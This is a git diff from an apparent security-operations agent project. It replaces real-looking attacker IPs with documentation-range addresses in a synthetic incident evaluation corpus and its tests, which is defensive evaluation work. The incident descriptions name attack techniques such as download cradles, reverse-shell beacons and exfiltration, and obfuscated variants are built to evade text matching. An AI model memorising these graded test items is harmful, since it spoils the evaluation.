"185.220.101.7",- "45.142.122.111",- "91.134.231.15",+ "198.51.100.7",+ "203.0.113.111",+ "192.0.2.15",]CAMPAIGNS = [diff --git a/scripts/inject_scenario.py b/scripts/inject_scenario.pyindex 40b2f6bb1..6f19371cf 100644--- a/scripts/inject_scenario.py+++ b/scripts/inject_scenario.py@@ -82,7 +82,7 @@ SCENARIO: list[dict] = ["source": "ndr","raw": {"src_ip": "10.0.4.42",- "dst_ip": "185.220.101.47",+ "dst_ip": "198.51.100.47","dst_port": 443,"beacon_interval_seconds": 60,"jitter_pct": 10,diff --git a/scripts/mypy_baseline.json b/scripts/mypy_baseline.jsonindex 44ae4299e..bfc8a3c18 100644--- a/scripts/mypy_baseline.json+++ b/scripts/mypy_baseline.json@@ -3,7 +3,7 @@"flags": "--no-color-output --no-error-summary --no-site-packages --no-incremental","mypy": "2.3.1","mypy_major": "2",- "python": "3.11"+ "python": "3.12"},"(unmanaged)": {"plugins/mttr-widget/plugin.py": {@@ -77,6 +77,9 @@"tests/test_benchmark.py": {"import-not-found": 1,"untyped-decorator": 2+ },+ "tests/test_corpus_can_grade.py": {+ "import-not-found": 1}},"packages/aisoc-cli": {diff --git a/scripts/wet_eval.py b/scripts/wet_eval.pyindex c95c7e1e1..24de8370b 100644--- a/scripts/wet_eval.py+++ b/scripts/wet_eval.py@@ -351,7 +351,7 @@ def _agent_assertion_text(state: Any) -> str:measurement one rather than a flattering one. The report writer is handed aflattened dump of the enrichment cache under an ``enrichment_sample.``prefix, and a small model echoes those keys straight into its markdown, so- the indicator extractor pulls tokens like ``45.142.122.111.error`` out of+ the indicator extractor pulls tokens like ``203.0.113.111.error`` out ofthe rendered report. Those are the agent repeating its own promptscaffolding, not asserting a security indicator, and scoring them measuresthe report template rather than the model.diff --git a/services/agents/tests/adversarial/test_injection_holdout.py b/services/agents/tests/adversarial/test_injection_holdout.pyindex 5c1c52c7f..47e49fa99 100644--- a/services/agents/tests/adversarial/test_injection_holdout.py+++ b/services/agents/tests/adversarial/test_injection_holdout.py@@ -23,7 +23,7 @@ from .injection_metrics import attributable_hits, score#: Pinned on the same terms as the corpus digest next door: a corpus that can#: change silently is not a measurement.-EXPECTED_DIGEST = "4601dada34b787269459768f130ceee0900cc30cafd044106735d47fda3550dc"+EXPECTED_DIGEST = "8c4b3ff79a2b8a9c376588ed0fc781df2987f40d852453286cba1735a4b21e6d"@pytest.fixture(scope="module")diff --git a/services/agents/tests/adversarial/test_injection_incidents.py b/services/agents/tests/adversarial/test_injection_incidents.pyindex 2a453bbb8..6feacab48 100644--- a/services/agents/tests/adversarial/test_injection_incidents.py+++ b/services/agents/tests/adversarial/test_injection_incidents.py@@ -29,7 +29,7 @@ from .injection_metrics import Rate, attributable_hits, score#: base incident moves this, which is the point: the corpus is a gate's#: subject, and a subject that can change silently is not one. Updating it is#: a one-line deliberate act with the diff beside it.-EXPECTED_DIGEST = "d67f4eb82e74fc3ebf62fb0ca9ab06c308bab27f6fcab0c1cba58c89885080fc"+EXPECTED_DIGEST = "eb21ba6075c344acfdea96457ebc66a0b7314c4e76d01a12bde8d4b1c29bf237"#: The floors this suite enforces. The standalone gate that publishes these#: rates reads the same two numbers, and a test there asserts the twodiff --git a/services/agents/tests/eval_data/adversary_incidents.json b/services/agents/tests/eval_data/adversary_incidents.jsonindex 87037085b..4360829e6 100644--- a/services/agents/tests/eval_data/adversary_incidents.json+++ b/services/agents/tests/eval_data/adversary_incidents.json@@ -5,7 +5,7 @@"template_index": 0,"adversary_intensity": "heavy","title": "narrow-cast baiting email with m@cro-laden attachment delivered to [email protected]",- "description": "Inbound email from 45.142.122.111 delivered an Office document with a malicious doc-embedded autom m@cro to [email protected]. Attachment opened on WIN-DC-PRIMARY; m@cro spawned command interpreter binary and downloaded a second-tier dropper from a known Lazarus infrastructure.",+ "description": "Inbound email from 203.0.113.111 delivered an Office document with a malicious doc-embedded autom m@cro to [email protected]. Attachment opened on WIN-DC-PRIMARY; m@cro spawned command interpreter binary and downloaded a second-tier dropper from a known Lazarus infrastructure.","expected_tactics": ["TA0001","TA0002"@@ -19,13 +19,13 @@"evidence_keywords": ["phishing email","macro",- "45.142.122.111",+ "203.0.113.111","WIN-DC-PRIMARY","stage-2 payload"],"original_title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",- "original_description": "Inbound email from 45.142.122.111 delivered an Office document with a malicious VBA macro to [email protected]. Attachment opened on WIN-DC-PRIMARY; macro spawned cmd.exe and downloaded a stage-2 payload from a known Lazarus infrastructure."+ "original_description": "Inbound email from 203.0.113.111 delivered an Office document with a malicious VBA macro to [email protected]. Attachment opened on WIN-DC-PRIMARY; macro spawned cmd.exe and downloaded a stage-2 payload from a known Lazarus infrastructure."},{"id": "INC-EVAL-002",@@ -145,7 +145,7 @@"template_index": 5,"adversary_intensity": "medium","title": "delegated grant consent phishing targeting [email protected]",- "description": "Malicious delegated grant application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 91.134.231.15.",+ "description": "Malicious delegated grant application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 192.0.2.15.","expected_tactics": ["TA0001","TA0006"@@ -161,11 +161,11 @@"Mail.Read","Files.Read.All",- "91.134.231.15",+ "192.0.2.15","forwarding rule"],"original_title": "OAuth consent phishing targeting [email protected]",- "original_description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 91.134.231.15."+ "original_description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 192.0.2.15."},{"id": "INC-EVAL-007",@@ -578,8 +578,8 @@"template_id": "credential-spray","template_index": 21,"adversary_intensity": "heavy",- "title": "repeated-guess auth-token probe spread against [email protected] from 45.142.122.111",- "description": "auth-token probe spread from 45.142.122.111 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.",+ "title": "repeated-guess auth-token probe spread against [email protected] from 203.0.113.111",+ "description": "auth-token probe spread from 203.0.113.111 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.","expected_tactics": ["TA0006"],@@ -592,11 +592,11 @@"brute force","credential spray",- "45.142.122.111",+ "203.0.113.111","azure ad"],- "original_title": "Brute-force credential spray against [email protected] from 45.142.122.111",- "original_description": "Credential spray from 45.142.122.111 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in."+ "original_title": "Brute-force credential spray against [email protected] from 203.0.113.111",+ "original_description": "Credential spray from 203.0.113.111 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in."},{"id": "INC-EVAL-023",@@ -792,7 +792,7 @@"template_index": 29,"adversary_intensity": "light","title": "WMI lateral execution from WIN-PROD-WEB02 to AWS-EC2-PROD-API",- "description": "wmic.exe /node:AWS-EC2-PROD-API process call create observed from WIN-PROD-WEB02 by [email protected]. Remote command execution; payload from 91.134.231.15.",+ "description": "wmic.exe /node:AWS-EC2-PROD-API process call create observed from WIN-PROD-WEB02 by [email protected]. Remote command execution; payload from 192.0.2.15.","expected_tactics": ["TA0008","TA0002"@@ -808,10 +808,10 @@"WIN-PROD-WEB02","AWS-EC2-PROD-API",- "91.134.231.15"+ "192.0.2.15"],"original_title": "WMI lateral execution from WIN-PROD-WEB02 to AWS-EC2-PROD-API",- "original_description": "wmic.exe /node:AWS-EC2-PROD-API process call create observed from WIN-PROD-WEB02 by [email protected]. Remote command execution; payload from 91.134.231.15."+ "original_description": "wmic.exe /node:AWS-EC2-PROD-API process call create observed from WIN-PROD-WEB02 by [email protected]. Remote command execution; payload from 192.0.2.15."},{"id": "INC-EVAL-031",@@ -899,7 +899,7 @@"template_index": 33,"adversary_intensity": "heavy","title": "blob-store push target exfil: data outflow to attacker-controlled S3 from WIN-DC-PRIMARY",- "description": "outbound flow from WIN-DC-PRIMARY to object-store-uriatk-stage-91.134.231.15/d\u200bump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",+ "description": "outbound flow from WIN-DC-PRIMARY to object-store-uriatk-stage-192.0.2.15/d\u200bump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.","expected_tactics": ["TA0010"],@@ -914,11 +914,11 @@"egress","exfiltrat","WIN-DC-PRIMARY",- "91.134.231.15",+ "192.0.2.15",],"original_title": "Cloud storage exfil: data egress to attacker-controlled S3 from WIN-DC-PRIMARY",- "original_description": "Egress from WIN-DC-PRIMARY to s3://atk-stage-91.134.231.15/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match."+ "original_description": "Egress from WIN-DC-PRIMARY to s3://atk-stage-192.0.2.15/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match."},{"id": "INC-EVAL-035",@@ -1118,7 +1118,7 @@"template_index": 41,"adversary_intensity": "medium","title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",- "description": "Successful Azure AD sign-in for [email protected] from 45.142.122.111 (impossible-travel from prior location). MFA satisfied via session-takeover token.",+ "description": "Successful Azure AD sign-in for [email protected] from 203.0.113.111 (impossible-travel from prior location). MFA satisfied via session-takeover token.","expected_tactics": ["TA0001","TA0006"@@ -1135,10 +1135,10 @@"session token","mfa",- "45.142.122.111"+ "203.0.113.111"],"original_title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",- "original_description": "Successful Azure AD sign-in for [email protected] from 45.142.122.111 (impossible-travel from prior location). MFA satisfied via stolen session token."+ "original_description": "Successful Azure AD sign-in for [email protected] from 203.0.113.111 (impossible-travel from prior location). MFA satisfied via stolen session token."},{"id": "INC-EVAL-043",@@ -1199,7 +1199,7 @@"template_index": 44,"adversary_intensity": "medium","title": "Malicious Office add-in installed for [email protected]",- "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-EXCHANGE-01; loads on every Outlook startup; b\u200beacons to 185.220.101.7.",+ "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-EXCHANGE-01; loads on every Outlook startup; b\u200beacons to 198.51.100.7.","expected_tactics": ["TA0003","TA0011"@@ -1216,18 +1216,18 @@"outlook","WIN-EXCHANGE-01",- "185.220.101.7"+ "198.51.100.7"],"original_title": "Malicious Office add-in installed for [email protected]",- "original_description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-EXCHANGE-01; loads on every Outlook startup; beacons to 185.220.101.7."+ "original_description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-EXCHANGE-01; loads on every Outlook startup; beacons to 198.51.100.7."},{"id": "INC-EVAL-046","template_id": "github-pat-leak","template_index": 45,"adversary_intensity": "heavy",- "title": "GitHub p@t leaked and abused from 185.220.101.7",- "description": "user-issued api token belonging to [email protected] used from 185.220.101.7 to clone 14 non-public repos. Token committed in public dotfiles repo 6 hours earlier.",+ "title": "GitHub p@t leaked and abused from 198.51.100.7",+ "description": "user-issued api token belonging to [email protected] used from 198.51.100.7 to clone 14 non-public repos. Token committed in public dotfiles repo 6 hours earlier.","expected_tactics": ["TA0006","TA0009"@@ -1244,10 +1244,10 @@"token","private repo",- "185.220.101.7"+ "198.51.100.7"],- "original_title": "GitHub PAT leaked and abused from 185.220.101.7",- "original_description": "Personal access token belonging to [email protected] used from 185.220.101.7 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier."+ "original_title": "GitHub PAT leaked and abused from 198.51.100.7",+ "original_description": "Personal access token belonging to [email protected] used from 198.51.100.7 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier."},{"id": "INC-EVAL-047",@@ -1283,7 +1283,7 @@"template_index": 47,"adversary_intensity": "heavy","title": "Vendor admin pw rotation request abuse for [email protected]",- "description": "pw rotation request for [email protected] performed by helpdesk in response to human-factor pretexting call from 185.220.101.7. Token claimed within 90 seconds.",+ "description": "pw rotation request for [email protected] performed by helpdesk in response to human-factor pretexting call from 198.51.100.7. Token claimed within 90 seconds.","expected_tactics": ["TA0001","TA0006"@@ -1299,10 +1299,10 @@"social engineering","helpdesk",- "185.220.101.7"+ "198.51.100.7"],"original_title": "Vendor admin password reset abuse for [email protected]",- "original_description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 185.220.101.7. Token claimed within 90 seconds."+ "original_description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 198.51.100.7. Token claimed within 90 seconds."},{"id": "INC-EVAL-049",@@ -1698,7 +1698,7 @@"template_index": 7,"adversary_intensity": "medium","title": "Living-off-the-land: certutil download cradle on WIN-PROD-WEB02",- "description": "certutil.exe -urlcache invoked from cmd.exe on WIN-PROD-WEB02. cmd.exe was spawned by outlook.exe. Payload downloaded from 91.134.231.15.",+ "description": "certutil.exe -urlcache invoked from cmd.exe on WIN-PROD-WEB02. cmd.exe was spawned by outlook.exe. Payload downloaded from 192.0.2.15.","expected_tactics": ["TA0002","TA0005"@@ -1714,11 +1714,11 @@"urlcache","outlook.exe","WIN-PROD-WEB02",- "91.134.231.15",+ "192.0.2.15","download cradle"],"original_title": "Living-off-the-land: certutil download cradle on WIN-PROD-WEB02",- "original_description": "certutil.exe -urlcache invoked from cmd.exe on WIN-PROD-WEB02. cmd.exe was spawned by outlook.exe. Payload downloaded from 91.134.231.15."+ "original_description": "certutil.exe -urlcache invoked from cmd.exe on WIN-PROD-WEB02. cmd.exe was spawned by outlook.exe. Payload downloaded from 192.0.2.15."},{"id": "INC-EVAL-064",@@ -1863,7 +1863,7 @@"template_index": 13,"adversary_intensity": "medium","title": "Backdoor cron job installed on LIN-DB-REPLICA",- "description": "/etc/cron.d entry created by [email protected] on LIN-DB-REPLICA. Reverse shell b\u200beacon to 45.142.122.111 every 5 minutes.",+ "description": "/etc/cron.d entry created by [email protected] on LIN-DB-REPLICA. Reverse shell b\u200beacon to 203.0.113.111 every 5 minutes.","expected_tactics": ["TA0003","TA0011"@@ -1880,10 +1880,10 @@"reverse shell","LIN-DB-REPLICA",- "45.142.122.111"+ "203.0.113.111"],"original_title": "Backdoor cron job installed on LIN-DB-REPLICA",- "original_description": "/etc/cron.d entry created by [email protected] on LIN-DB-REPLICA. Reverse shell beacon to 45.142.122.111 every 5 minutes."+ "original_description": "/etc/cron.d entry created by [email protected] on LIN-DB-REPLICA. Reverse shell beacon to 203.0.113.111 every 5 minutes."},{"id": "INC-EVAL-070",@@ -1971,7 +1971,7 @@"template_index": 17,"adversary_intensity": "light","title": "Memory-only fileless implant in svchost on LIN-EDGE-VPN02",- "description": "Process hollowing detected on LIN-EDGE-VPN02: svchost.exe replaced with Cobalt Strike beacon to 45.142.122.111. No disk artefacts. Linked to LockBit 3.0.",+ "description": "Process hollowing detected on LIN-EDGE-VPN02: svchost.exe replaced with Cobalt Strike beacon to 203.0.113.111. No disk artefacts. Linked to LockBit 3.0.","expected_tactics": ["TA0002","TA0005"@@ -1988,10 +1988,10 @@"svchost","Cobalt Strike","LIN-EDGE-VPN02",- "45.142.122.111"+ "203.0.113.111"],"original_title": "Memory-only fileless implant in svchost on LIN-EDGE-VPN02",- "original_description": "Process hollowing detected on LIN-EDGE-VPN02: svchost.exe replaced with Cobalt Strike beacon to 45.142.122.111. No disk artefacts. Linked to LockBit 3.0."+ "original_description": "Process hollowing detected on LIN-EDGE-VPN02: svchost.exe replaced with Cobalt Strike beacon to 203.0.113.111. No disk artefacts. Linked to LockBit 3.0."},{"id": "INC-EVAL-074",@@ -2289,7 +2289,7 @@"template_index": 29,"adversary_intensity": "medium","title": "WMI side-to-side execution from WIN-FILE-SHARE to MAC-CFO-LAPTOP",- "description": "wmic.exe /node:MAC-CFO-LAPTOP process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 91.134.231.15.",+ "description": "wmic.exe /node:MAC-CFO-LAPTOP process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 192.0.2.15.","expected_tactics": ["TA0008","TA0002"@@ -2305,10 +2305,10 @@"WIN-FILE-SHARE","MAC-CFO-LAPTOP",- "91.134.231.15"+ "192.0.2.15"],"original_title": "WMI lateral execution from WIN-FILE-SHARE to MAC-CFO-LAPTOP",- "original_description": "wmic.exe /node:MAC-CFO-LAPTOP process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 91.134.231.15."+ "original_description": "wmic.exe /node:MAC-CFO-LAPTOP process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 192.0.2.15."},{"id": "INC-EVAL-086",@@ -2368,7 +2368,7 @@"template_index": 32,"adversary_intensity": "heavy","title": "udp/53 covert trackling ex-bound siphonion from WIN-DC-SECONDARY",- "description": "name-resolution volume from WIN-DC-SECONDARY 50\u00d7 baseline. TXT records contain base64-base64-wrapd payloads. Estimated exfil ~200 MB; destination 185.220.101.7.",+ "description": "name-resolution volume from WIN-DC-SECONDARY 50\u00d7 baseline. TXT records contain base64-base64-wrapd payloads. Estimated exfil ~200 MB; destination 198.51.100.7.","expected_tactics": ["TA0011","TA0010"@@ -2385,10 +2385,10 @@"base64","exfiltrat","WIN-DC-SECONDARY",- "185.220.101.7"+ "198.51.100.7"],"original_title": "DNS tunnelling exfiltration from WIN-DC-SECONDARY",- "original_description": "DNS query volume from WIN-DC-SECONDARY 50\u00d7 baseline. TXT records contain base64-encoded payloads. Estimated exfil ~200 MB; destination 185.220.101.7."+ "original_description": "DNS query volume from WIN-DC-SECONDARY 50\u00d7 baseline. TXT records contain base64-encoded payloads. Estimated exfil ~200 MB; destination 198.51.100.7."},{"id": "INC-EVAL-089",@@ -2452,7 +2452,7 @@"template_index": 35,"adversary_intensity": "medium","title": "DGA-based C2 traffic from GCP-GKE-n0de runtime-04",- "description": "DGA traffic from GCP-GKE-n0de runtime-04 observed; 200+ NXDomain replies/min, IoCs match Volt Typhoon epoch 5. Beacons to 45.142.122.111.",+ "description": "DGA traffic from GCP-GKE-n0de runtime-04 observed; 200+ NXDomain replies/min, IoCs match Volt Typhoon epoch 5. Beacons to 203.0.113.111.","expected_tactics": ["TA0011"],@@ -2467,19 +2467,19 @@"nxdomain","beacon","GCP-GKE-NODE-04",- "45.142.122.111",+ "203.0.113.111","Volt Typhoon"],"original_title": "DGA-based C2 traffic from GCP-GKE-NODE-04",- "original_description": "DGA traffic from GCP-GKE-NODE-04 observed; 200+ NXDomain replies/min, IoCs match Volt Typhoon epoch 5. Beacons to 45.142.122.111."+ "original_description": "DGA traffic from GCP-GKE-NODE-04 observed; 200+ NXDomain replies/min, IoCs match Volt Typhoon epoch 5. Beacons to 203.0.113.111."},{"id": "INC-EVAL-092","template_id": "https-c2-beacon","template_index": 36,"adversary_intensity": "heavy",- "title": "HTTPS c\u200b2 regular check-in from LIN-BUILD-CI03 to 91.134.231.15",- "description": "Periodic tls callback from LIN-BUILD-CI03 to 91.134.231.15 every 60 seconds with low jitter. tls fingerprint hash fingerprint matches red-team-grade dropper.",+ "title": "HTTPS c\u200b2 regular check-in from LIN-BUILD-CI03 to 192.0.2.15",+ "description": "Periodic tls callback from LIN-BUILD-CI03 to 192.0.2.15 every 60 seconds with low jitter. tls fingerprint hash fingerprint matches red-team-grade dropper.","expected_tactics": ["TA0011"],@@ -2494,10 +2494,10 @@"ja3","Cobalt Strike","LIN-BUILD-CI03",- "91.134.231.15"+ "192.0.2.15"],- "original_title": "HTTPS C2 beacon from LIN-BUILD-CI03 to 91.134.231.15",- "original_description": "Periodic HTTPS beacon from LIN-BUILD-CI03 to 91.134.231.15 every 60 seconds with low jitter. JA3 fingerprint matches Cobalt Strike."+ "original_title": "HTTPS C2 beacon from LIN-BUILD-CI03 to 192.0.2.15",+ "original_description": "Periodic HTTPS beacon from LIN-BUILD-CI03 to 192.0.2.15 every 60 seconds with low jitter. JA3 fingerprint matches Cobalt Strike."},{"id": "INC-EVAL-093",@@ -2588,7 +2588,7 @@"template_index": 40,"adversary_intensity": "medium","title": "Public object-store bucket exposing PII",- "description": "object-store bucket world-readable; ~40k employee records accessible. CloudTrail shows external iterating acrossion from 91.134.231.15.",+ "description": "object-store bucket world-readable; ~40k employee records accessible. CloudTrail shows external iterating acrossion from 192.0.2.15.","expected_tactics": ["TA0009","TA0010"@@ -2604,10 +2604,10 @@"public bucket","pii","cloudtrail",- "91.134.231.15"+ "192.0.2.15"],"original_title": "Public S3 bucket exposing PII",- "original_description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 91.134.231.15."+ "original_description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 192.0.2.15."},{"id": "INC-EVAL-097",@@ -2723,8 +2723,8 @@"template_id": "github-pat-leak","template_index": 45,"adversary_intensity": "heavy",- "title": "GitHub github-token leaked and abused from 45.142.122.111",- "description": "dev-portal token belonging to [email protected] used from 45.142.122.111 to clone 14 closed repos. Token committed in public dotfiles repo 6 hours earlier.",+ "title": "GitHub github-token leaked and abused from 203.0.113.111",+ "description": "dev-portal token belonging to [email protected] used from 203.0.113.111 to clone 14 closed repos. Token committed in public dotfiles repo 6 hours earlier.","expected_tactics": ["TA0006","TA0009"@@ -2741,10 +2741,10 @@"token","private repo",- "45.142.122.111"+ "203.0.113.111"],- "original_title": "GitHub PAT leaked and abused from 45.142.122.111",- "original_description": "Personal access token belonging to [email protected] used from 45.142.122.111 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier."+ "original_title": "GitHub PAT leaked and abused from 203.0.113.111",+ "original_description": "Personal access token belonging to [email protected] used from 203.0.113.111 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier."},{"id": "INC-EVAL-102",@@ -2780,7 +2780,7 @@"template_index": 47,"adversary_intensity": "heavy","title": "Vendor admin cred rotation request abuse for [email protected]",- "description": "cred rotation request for [email protected] performed by helpdesk in response to human-factor pretexting call from 185.220.101.7. Token claimed within 90 seconds.",+ "description": "cred rotation request for [email protected] performed by helpdesk in response to human-factor pretexting call from 198.51.100.7. Token claimed within 90 seconds.","expected_tactics": ["TA0001","TA0006"@@ -2796,10 +2796,10 @@"social engineering","helpdesk",- "185.220.101.7"+ "198.51.100.7"],"original_title": "Vendor admin password reset abuse for [email protected]",- "original_description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 185.220.101.7. Token claimed within 90 seconds."+ "original_description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 198.51.100.7. Token claimed within 90 seconds."},{"id": "INC-EVAL-104",@@ -2807,7 +2807,7 @@"template_index": 48,"adversary_intensity": "medium","title": "OAuth refresh-token theft for [email protected]",- "description": "Refresh token for [email protected] replayed from 91.134.231.15. Granted access to mailbox + OneDrive without re-prompt.",+ "description": "Refresh token for [email protected] replayed from 192.0.2.15. Granted access to mailbox + OneDrive without re-prompt.","expected_tactics": ["TA0006"],@@ -2823,10 +2823,10 @@"onedrive","mailbox",- "91.134.231.15"+ "192.0.2.15"],"original_title": "OAuth refresh-token theft for [email protected]",- "original_description": "Refresh token for [email protected] replayed from 91.134.231.15. Granted access to mailbox + OneDrive without re-prompt."+ "original_description": "Refresh token for [email protected] replayed from 192.0.2.15. Granted access to mailbox + OneDrive without re-prompt."},{"id": "INC-EVAL-105",@@ -3054,8 +3054,8 @@"template_id": "confluence-watering-hole","template_index": 2,"adversary_intensity": "heavy",- "title": "Watering-hole exploit served from internal Confluence by 185.220.101.7",- "description": "Internal Confluence page injected with malicious browser-side code by 185.220.101.7. auto-load infection exploit triggered DOM-engine abuse on multiple visitors including [email protected]. Linked to MagicWeb TTPs.",+ "title": "Watering-hole exploit served from internal Confluence by 198.51.100.7",+ "description": "Internal Confluence page injected with malicious browser-side code by 198.51.100.7. auto-load infection exploit triggered DOM-engine abuse on multiple visitors including [email protected]. Linked to MagicWeb TTPs.","expected_tactics": ["TA0001","TA0002"@@ -3070,12 +3070,12 @@"watering hole","drive-by","Confluence",- "185.220.101.7",+ "198.51.100.7","MagicWeb"],- "original_title": "Watering-hole exploit served from internal Confluence by 185.220.101.7",- "original_description": "Internal Confluence page injected with malicious JavaScript by 185.220.101.7. Drive-by exploit triggered browser exploitation on multiple visitors including [email protected]. Linked to MagicWeb TTPs."+ "original_title": "Watering-hole exploit served from internal Confluence by 198.51.100.7",+ "original_description": "Internal Confluence page injected with malicious JavaScript by 198.51.100.7. Drive-by exploit triggered browser exploitation on multiple visitors including [email protected]. Linked to MagicWeb TTPs."},{"id": "INC-EVAL-114",@@ -3139,7 +3139,7 @@"template_index": 5,"adversary_intensity": "medium","title": "0auth consent phishing targeting [email protected]",- "description": "Malicious 0auth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 91.134.231.15.",+ "description": "Malicious 0auth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 192.0.2.15.","expected_tactics": ["TA0001","TA0006"@@ -3155,11 +3155,11 @@"Mail.Read","Files.Read.All",- "91.134.231.15",+ "192.0.2.15","forwarding rule"],"original_title": "OAuth consent phishing targeting [email protected]",- "original_description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 91.134.231.15."+ "original_description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 192.0.2.15."},{"id": "INC-EVAL-117",@@ -3223,7 +3223,7 @@"template_index": 8,"adversary_intensity": "heavy","title": "Container runtime abuse: malicious `runc launch` on WIN-FILE-SHARE",- "description": "Unauthenticated Docker API on WIN-FILE-SHARE exploited from 185.220.101.7. image carrying compute hijack for currencyr spawned. CPU on host saturated to 95%.",+ "description": "Unauthenticated Docker API on WIN-FILE-SHARE exploited from 198.51.100.7. image carrying compute hijack for currencyr spawned. CPU on host saturated to 95%.","expected_tactics": ["TA0002","TA0001",@@ -3242,10 +3242,10 @@"cryptominer","miner","WIN-FILE-SHARE",- "185.220.101.7"+ "198.51.100.7"],"original_title": "Container runtime abuse: malicious `docker run` on WIN-FILE-SHARE",- "original_description": "Unauthenticated Docker API on WIN-FILE-SHARE exploited from 185.220.101.7. Container with cryptominer spawned. CPU on host saturated to 95%."+ "original_description": "Unauthenticated Docker API on WIN-FILE-SHARE exploited from 198.51.100.7. Container with cryptominer spawned. CPU on host saturated to 95%."},{"id": "INC-EVAL-120",@@ -3360,7 +3360,7 @@"template_index": 13,"adversary_intensity": "heavy","title": "covert reverse access cr0n job installed on MAC-LEGAL-LAPTOP",- "description": "/etc/cr0n.d entry created by [email protected] on MAC-LEGAL-LAPTOP. Reverse shell regular check-in to 91.134.231.15 every 5 minutes.",+ "description": "/etc/cr0n.d entry created by [email protected] on MAC-LEGAL-LAPTOP. Reverse shell regular check-in to 192.0.2.15 every 5 minutes.","expected_tactics": ["TA0003","TA0011"@@ -3377,10 +3377,10 @@"reverse shell","MAC-LEGAL-LAPTOP",- "91.134.231.15"+ "192.0.2.15"],"original_title": "Backdoor cron job installed on MAC-LEGAL-LAPTOP",- "original_description": "/etc/cron.d entry created by [email protected] on MAC-LEGAL-LAPTOP. Reverse shell beacon to 91.134.231.15 every 5 minutes."+ "original_description": "/etc/cron.d entry created by [email protected] on MAC-LEGAL-LAPTOP. Reverse shell beacon to 192.0.2.15 every 5 minutes."},{"id": "INC-EVAL-125",@@ -3468,7 +3468,7 @@"template_index": 17,"adversary_intensity": "heavy","title": "no on-disk artifact no-disk-write resident dropper in svchost on GCP-GKE-n0de runtime-04",- "description": "in-place process swaping detected on GCP-GKE-n0de runtime-04: svchost.exe replaced with c0balt strike regular check-in to 91.134.231.15. No disk artefacts. Linked to ALPHV/BlackCat.",+ "description": "in-place process swaping detected on GCP-GKE-n0de runtime-04: svchost.exe replaced with c0balt strike regular check-in to 192.0.2.15. No disk artefacts. Linked to ALPHV/BlackCat.","expected_tactics": ["TA0002","TA0005"@@ -3485,10 +3485,10 @@"svchost","Cobalt Strike","GCP-GKE-NODE-04",- "91.134.231.15"+ "192.0.2.15"],"original_title": "Memory-only fileless implant in svchost on GCP-GKE-NODE-04",- "original_description": "Process hollowing detected on GCP-GKE-NODE-04: svchost.exe replaced with Cobalt Strike beacon to 91.134.231.15. No disk artefacts. Linked to ALPHV/BlackCat."+ "original_description": "Process hollowing detected on GCP-GKE-NODE-04: svchost.exe replaced with Cobalt Strike beacon to 192.0.2.15. No disk artefacts. Linked to ALPHV/BlackCat."},{"id": "INC-EVAL-129",@@ -3572,8 +3572,8 @@"template_id": "credential-spray","template_index": 21,"adversary_intensity": "heavy",- "title": "repeated-guess spread-out cred probe against [email protected] from 91.134.231.15",- "description": "spread-out cred probe from 91.134.231.15 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.",+ "title": "repeated-guess spread-out cred probe against [email protected] from 192.0.2.15",+ "description": "spread-out cred probe from 192.0.2.15 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.","expected_tactics": ["TA0006"],@@ -3586,11 +3586,11 @@"brute force","credential spray",- "91.134.231.15",+ "192.0.2.15","azure ad"],- "original_title": "Brute-force credential spray against [email protected] from 91.134.231.15",- "original_description": "Credential spray from 91.134.231.15 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in."+ "original_title": "Brute-force credential spray against [email protected] from 192.0.2.15",+ "original_description": "Credential spray from 192.0.2.15 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in."},{"id": "INC-EVAL-133",@@ -3653,7 +3653,7 @@"template_index": 24,"adversary_intensity": "heavy","title": "fed-assertion golden-ticket: forged assertion targeting [email protected]",- "description": "Forged fed-assertion assertion detected for [email protected]. Attacker pivoted to Azure AD; account listing-oution followed from 45.142.122.111.",+ "description": "Forged fed-assertion assertion detected for [email protected]. Attacker pivoted to Azure AD; account listing-oution followed from 